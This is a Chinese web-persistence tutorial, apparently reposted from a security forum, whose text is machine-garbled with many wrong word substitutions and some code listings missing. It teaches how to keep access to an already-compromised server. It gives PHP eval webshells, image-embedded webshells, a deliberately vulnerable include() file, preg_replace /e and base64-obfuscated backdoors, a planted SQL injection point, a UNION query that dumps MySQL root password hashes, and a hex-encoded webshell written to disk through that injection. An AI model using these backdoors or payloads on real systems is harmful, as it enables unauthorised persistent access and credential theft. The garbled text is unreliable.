关于权限维持,我之前写过一篇基于体系 端的后门技能 文章 ,如映像挟制 啊,lpk之类。固然 啦,在拿到权限后 ,在web端做手脚也是个好办法。
内容目次
- 构造文件包罗 弊端
- 潜伏 性脚本木马
- 构造sql注入点
构造文件包罗 弊端
本部分 概览
* 根本 的文件包罗 姿势
* 制作图片马
* 构造文件包罗 弊端
PHP文件包罗 弊端 先容
起首 ,我们来先容 下作甚 文件包罗 弊端 。严格 来说,文件包罗 弊端 是`代码注入`的一种。其原理就是注入一段用户能控制的脚本或代码 ,并让服务端实行 。`代码注入`的典范 代表就是文件包罗 。文件包罗 弊端 大概 出如今 `JSP、PHP 、ASP`等语言中,原理都是一样的,本实行 以PHP文件包罗 弊端 做例子。
要想乐成 利用 文件包罗 弊端 举行 攻击 ,必要 满意 以下两个条件:
1. Web应用采取 include()等文件包罗 函数通过动态变量的方式引入必要 包罗 的文件;
2. 用户可以或许 控制该动态变量。
在PHP中,有四个用于包罗 文件的函数,当利用 这些函数包罗 文件时 ,文件中包罗 的PHP代码会被实行 。下面对 它们之间的区别举行 表明 :
`include()`:当利用 该函数包罗 文件时,只有代码实行 到`include()`函数时才将文件包罗 进来,发生错误时只给出一个告诫 ,继承 向下实行 。
`include_once()`:功能和`include()`雷同 ,区别在于当重复调用同一文件时,程序只调用一次。
`require()`:`require()`与`include()`的区别在于`require()`实行 假如 发生错误,函数会输堕落 误信息 ,并停止 脚本的运行 。利用 `require()`函数包罗 文件时,只要程序一实行 ,立即 调用文件 ,而include()只有程序实行 到该函数时才调用。
`require_once()`:它的功能与`require()`雷同 ,区别在于当重复调用同一文件时,程序只调用一次。
步调 1 根本 的文件包罗 姿势
以下全部 步调 创建 在已经取得目标 机权限的环境 下 。
我们假设事先通过一系列的渗出 测试得到了目标 机的一句话webshell。
假设我们事前得知 ,目标 服务器的一些脚本文件存在文件包罗 弊端 ,如:
/clude.php?file=index.php
其参数`file`没有作很好的过滤,可以包罗 恣意 文件。
比如 ,我们在弊端 文件`clude.php`同目次 新建一个文件`getshell.php`,内容是PHP一句话木马:
?php @eval($_POST['pass']);?
利用 中国菜刀进入文件管理功能并如下操纵 ,那么我们实行 通过`clude.php`包罗 脚本木马`getshell.php`:
/clude.php?file=getshell.php
点击`Enable Post data`调出POST数据栏,并POST以下数据:
pass=system('set');
此处转达 的变量是通过调用PHP的`system()`函数实行 `set`下令 来查察 当前体系 的环境 变量。
固然 ,这里直接包罗 了一个木马文件,在我们已经有了webshell的环境 下,这好像 并没有很大意义 。潜伏 性并不是很强。
步调 2 制作图片马
PHP文件包罗 ,其包罗 的文件无论是什么格式,都会被当做PHP文件来分析 。
那么,假如 恶意代码被插入到了一个正常的网页图片中 ,而且图片在被插入恶意代码之后还能正常表现 ,那潜伏 性就加强 了 。
图片木马着实 尚有 另一点意义,有些网站我们在渗出 测试实行 上传shell的时间 ,会要用到上传文件,但是有的时间 都会有过滤,假如 只是上传`.asp .php`末了 的文件的话体系 是不会给你上传的 ,那么这个时间 我们通常会把一句话放在图片内里 ,写成`1.asp;.jpg或1.asp;jpg`的格式上传上去,如许 上传的时间 体系 检测是图片,然后在上传之后 ,会把这个文件当asp文件来处理 惩罚 。
那么怎样 用制作图片情势 的一句话木马呢?
起首 我们在工具目次 预备 了一个图片文件`1.png`,和一个一句话木马文件`hack.php`。
预备 好之后就在该目次 开启下令 行,然后输入以下下令 :
copy 1.png/b+hack.php test.png
然后回车就体系 就会主动 把这两个文件组合起来并定名 为`test.png`:
这个时间 我们打开两个文件对比一下 ,用记事本打开,发现`1.png`的内容当中已经把我们的`hack.php`的一句话木马语句已经加加到图片当中去了 。
固然 了,最紧张 的是 ,被写入了一句话的图片还是 可以正常打开的,此为本步调 的目标 地点 :
那么,在实际 渗出 测试实行 中 ,我们通常是通过下载网站原有的图片文件并更换 成一句话木马末了 通过更换 本来 的图片文件到达 肯定 的潜伏 结果 。
那么我们试试该图片木马是否可用,先通过中国菜刀的文件上传功能把`test.png`上传到目标 机根目次 :
那么我们实行 通过`clude.php`包罗 一句话图片木马`test.png`:
/clude.php?file=test.png
点击`Enable Post data`调出POST数据栏,并POST以下数据:
pass=system('set');
此处转达 的变量是通过调用PHP的`system()`函数实行 `set`下令 来查察 当前体系 的环境 变量。
固然 ,这里还是 直接包罗 了一个木马文件,在我们已经有了webshell的环境 下,这好像 并没有很大意义 。潜伏 性并不是很强。
步调 3 构造文件包罗 弊端
那么假设我们拿到shell的服务器上的脚本文件都不存在文件包罗 弊端 就必要 我们本身 来构造弊端 了,以到达 权限维持的结果 。
文件包罗 弊端 的脚本文件的构作育 比力 简单 了 ,直接写一个不带有任何过滤的利用 `include()`函数调用文件的PHP文件,文件代码及相干 的解释 如下:
?php
$filename=$_GET['filename']; //将参数file的值转达 给$filename变量include($filename); //利用 include()函数包罗 文件
?
上述代码我们已经生存 在工具目次 的`include.php`,我们利用 中国菜刀的文件管理功能把`include.php`上传到目标 站根目次 :
接下来我们在欣赏 器访问以下URL以包罗 图片木马`test.png`:
此处的PNG文件被当做是PHP文件分析 ,于是直接表现 了图片乱码,我们在乱码末了 并没有发现我们的一句话木马陈迹 ,于是推断我们的一句话木马已经被分析 。
接着我们点击`Enable Post data`调出POST数据栏 ,并POST以下数据:
pass=system('net user');
此处转达 的变量是通过调用PHP的`system()`函数实行 `set`下令 来查察 当前体系 的环境 变量。
我们在图片乱码下面可以看到`net user`下令 的回显。
至此,图片木马被乐成 摆设 并利用 。
潜伏 性脚本木马
本部分 概览:
* 利用 `preg_replace`函数留后门
* 利用 加密`preg_replace`函数
* 变异加密型后门
步调 1 利用 `preg_replace`函数留后门
着实 我们可以通过如下代码实现了隐蔽 式后门:
?php @preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");?
乍看到这个代码以为 没什么题目 ,这里用到的是php的`preg_replace`函数:
- `preg_replace`函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特别 阐明 :
`/e`修正符使`preg_replace()`将`replacement`参数当作 PHP代码(在得当 的逆向引用更换 完之后) 。
提示:要确保`replacement`构成一个合法 的 PHP 代码字符串,否则 PHP 会在陈诉 :在"包罗 `preg_replace()` 的行中出现语法分析 错误."上面的代码是POST吸取 数据 ,实现大概 不太直观,假如 换成GET获取数据的话可以更好地明白 :
举例,代码如下:
?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?
我们假设事先通过一系列的渗出 测试得到了目标 机的一句话webshell。
在中国菜刀的文件管理页面右键 ,新建一个`test.php`,内容是上述的`get`方式提交的一句话:
?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?
假如 我们提交`?h=phpinfo()`便是 通过传参实行 了PHP的`phpinfo()`函数。
即在欣赏 器访问以下URL转达 必要 实行 的变量函数`phpinfo()`:
/test.php?h=phpinfo();
如上图可见`phpinfo()`将会被实行 (用`/e`修饰符,`preg_replace`会将`replacement`参数当作 PHP代码实行 ) 。
在PHP中,双引号内里 假如 包罗 有变量 ,php表明 器会将其更换 为变量表明 后的结果 ,单引号中的变量不会被处理 惩罚 。
**留意 :**双引号中的函数不会被实行 和更换 。
步调 2 利用 加密`preg_replace`函数
我们预备 了一个加密`preg_replace`函数的一个php后门文件:
文件内容如下:
上述代码末了 解密出来着实 还是 利用 `preg_replace`的`/e`来实行 的一句话webshell 。
代码中的md5值`202cb962ac59075b964b07152d234b70`明文是`123`。
我们先通过上个步调 中的一句话木马把`test1.php`上传到目标 机根目次 ,该木马的利用 方式是访问该文件并通过POST方式提交雷同 如下数据:
pass=123check=phpinfo();
那么我们在欣赏 器POST数据一样平常 是通过火 狐欣赏 器的hackbar插件 ,火狐欣赏 器的的Hackbar插件的POST数据栏默认是不开启的,我们必要 勾选上图红圈中的部分 已启动POST栏。
启动POST栏之后,我们在`Post data`一栏输入以下数据来POST给服务器:
pass=123check=phpinfo();
上述POST的数据是实行 实行 `phpinfo()`函数:
如上图可见 ,`phpinfo()`函数被乐成 实行 。
固然 我们还能通过`system()`函数来实行 体系 下令 :
如通过火 狐欣赏 器的Hackbar插件POST以下数据:
pass=123check=system('set')
上述POST的数据中就是实行 了体系 下令 `set`查察 当前操纵 体系 环境 变量,如上图,我们乐成 取得了返回。
步调 3 变异加密型后门
我们这里预备 了一个PHP脚本后门 ,代码非常 奇葩,源代码如下:
上述源码,光看看你是看不出什么端倪的。我们为了方便各人 看到上述代码到底做了些什么 ,对代码做了输出调试处理 惩罚 ,输出每个步调 的输出,并对代码做了一些具体 的表明 :
做了调试的的源码我们定名 为`base1.php`:
接着我们利用 中国菜刀把上述两个文件`base.php`和`base1.php`都上传到网站根目次 。
好了之后我们访问已经做了调试的`base1.php`:
```
https://172.16.12.2/base1.php
```
如上图可见,php文件运行起来后输出结果 如下:
上述代码文件我们是一步一步输出的 ,输出到末了 ,我们发现,天生 的竟然是经典的PHP版一句话木马文件代码:
eval(_decode($_POST[‘z0’]))
上述一句话木马文件中在POST数据外加了`_decode`函数 ,于是我们必要 对变量的提交做``加密处理 惩罚 。
`base.php`上传之后具体 的URL地点 如下:
我们在火狐欣赏 器访问该文件,并利用 Hackbar插件直接提交下面的数据是不可 的:
```
z0=phpinfo();
```
我们必要 把对`z0`变量的赋值举行 加密,加密后的数据情势 如下:
```
z0=cGhwaW5mbygpOw==
```
我们直接选中`z0=phpinfo();`中的`phpinfo();` ,然后点击`Encoding`-` Encoding`,云云 `phpinfo();`将会被加密:
加密完成后,我们点击`Execute`提交:
如上图 ,`phpinfo()`函数被乐成 实行 。
那么我们也可以实行 实行 体系 下令 如`net user`:
通例 来说,我们提交的是如下数据:
```
z0=system('net user');
```
在这里我们就必要 对变量的赋值`system('net user');`部分 举行 加密,选中POST栏的`phpinfo();` ,然后点击`Encoding`-` Encoding`,然后POST的数据变成 如下情势 :
```
z0=c3lzdGVtKCd2ZXInKTs=
```
加密完成后,我们点击`Execute`提交:
如上图可见,`net user`下令 被乐成 实行 而且我们得到 了清楚 地返复书 息。
构造sql注入点
本部分 概览:
* 构造注入点
* 利用 构造的注入点
本部分 以php脚本和MySQL数据库为例 ,演示在得到 目标 机权限之后,在目标 机上面构造一个注入弊端 方便我们后续潜伏 性维持权限的方法 。
步调 1 构造注入点
我们假设事先通过一系列的渗出 测试得到了目标 机的一句话webshell。
打开中国菜刀工具添加一句话木马,留意 数据库设置 信息填写如下数据(事先得到 ):
TMYSQL/T
Hlocalhost/H
Uroot/U
root/P
Nmysql/N
利用 中国菜刀进入到目标 机的数据库管理功能:
在中国菜刀的数据库管理功能页面实行 以下语句以创建一个新的数据库:
```
create database sqlinject;
```
然退却 出该数据库管理页面 ,在重新进入数据库管理页面就能看到新建的数据库`sqlinjec`了,我们双击该数据库名切换到该数据库:
然后实行 以下语句在`sqlinject`数据库中创建 表和列:
```
create table admin(id int auto_increment primary key,username varchar(32) not null,password varchar(32) not null);
```
再实行 以下语句想表中的列写入字段值:
```
insert into admin (username,password) values ('admin',md5('admin')),('safe',md5('12345')),('test',md5('test'));
```
然后我们双击查察 `inject`数据库下各项,可以看到数据已经写入。
接下来我们必要 构造脚本文件调用上述数据库 ,脚本文件内容如下:
该文件上传完毕后,我们根据上述脚本内容推测,构造的sql注入点如下:
/test.php?id=1
步调 2 利用 构造的注入点
根据我们之前讲的sql注入相干 知识 ,我们实行 通过构造以下语句读取数据库用户相干 信息:
test.php?id=-1 union select concat(host,0x7c,user,0x7c,password),2,3 from mysql.user where host = 'localhost'#
我们把参数从1改为-1是为了防止当前查询的返回结果 影响我们到时间 提取指定文本 。
`concat()`函数把多个必要 查询的字段放在一起
`0x7c`是`|`符号的16进制转码结果 ,有利于我们到时间 把字段区分开。
我们得到以下具体 信息:
localhost|root|*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
云云 得知本地 主机`localhost`的`root`账户的暗码 hash是`*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B`。
实际 渗出 测试中,我们可以通过`cmd5.com`的大型hash破解平台来破解暗码 ,我们这里通过线上破解得知,此hash对应的暗码 值为`root` 。这些信息可以用来后续的mysql提权。
厥后 假设我们之前的一句话木马被管理员删除了,然而我们还是 可以利用 上述我们创建的sql注入点向服务器再写入一个脚本木马。
然后我们实行 在这里写一个一句话webshell到服务器,一句话木马样本如下:
?php @eval($_POST['pass']);?
我们在火狐欣赏 器的HackBar插件把上述一句话木马转换为16进制 ,目标 是克制 特别 字符的转义导致语句不能精确 实行 :
如图,一句话木马加密后的结果 为:
3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e
然后在注入点构造以下语句把一句话导出到`c:/www/small.php`,我们在一句话木马的16进制字符前加了`0x`(此为16进制标识符):
以上语句连续 实行 两次 ,假如 出现以下错误,即阐明 文件写入乐成 :
Invalid Query:File 'c:/www/small.php' already exists//第二次写入提示文件已存在则阐明 文件写入乐成
我们实行 利用 中国菜刀毗连 一句话木马,如下图操纵 :
至此 ,我们乐成 够早了sql注入点并乐成 利用 其向目标 机写入了新的webshell 。
分析与总结
重要 学习了以下内容:
- 潜伏 性脚本木马
- 畸形目次 隐蔽 shell
- 构造文件包罗 弊端
- 构造sql注入点
通过本实行 ,我们学习了几种比力 奇特 的潜伏 性的脚本木马的原理和利用 方式,目标 在于维持web端的权限。还学习了根本 的文件包罗 弊端 的利用 、图片木马的制作 ,以及怎样 构造文件包罗 弊端 以便我们后续维持web端权限、在目标 服务器web端构造sql注入点用以后续维持权限的方式。
固然 ,web端权限维持技能 各种各样,不但 于此 ,只有你想不到,没有渗出 测试职员 做不到 。
若涉及敏感操纵 ,请在法律答应 的范围内测试!
作者:Binghe
泉源 :i春秋
链接:https://bbs.ichunqiu.com/thread-19144-1-1.html
炼石信息安全培训春季班开招
QQ:495066536
372806985
敬请连续 关注……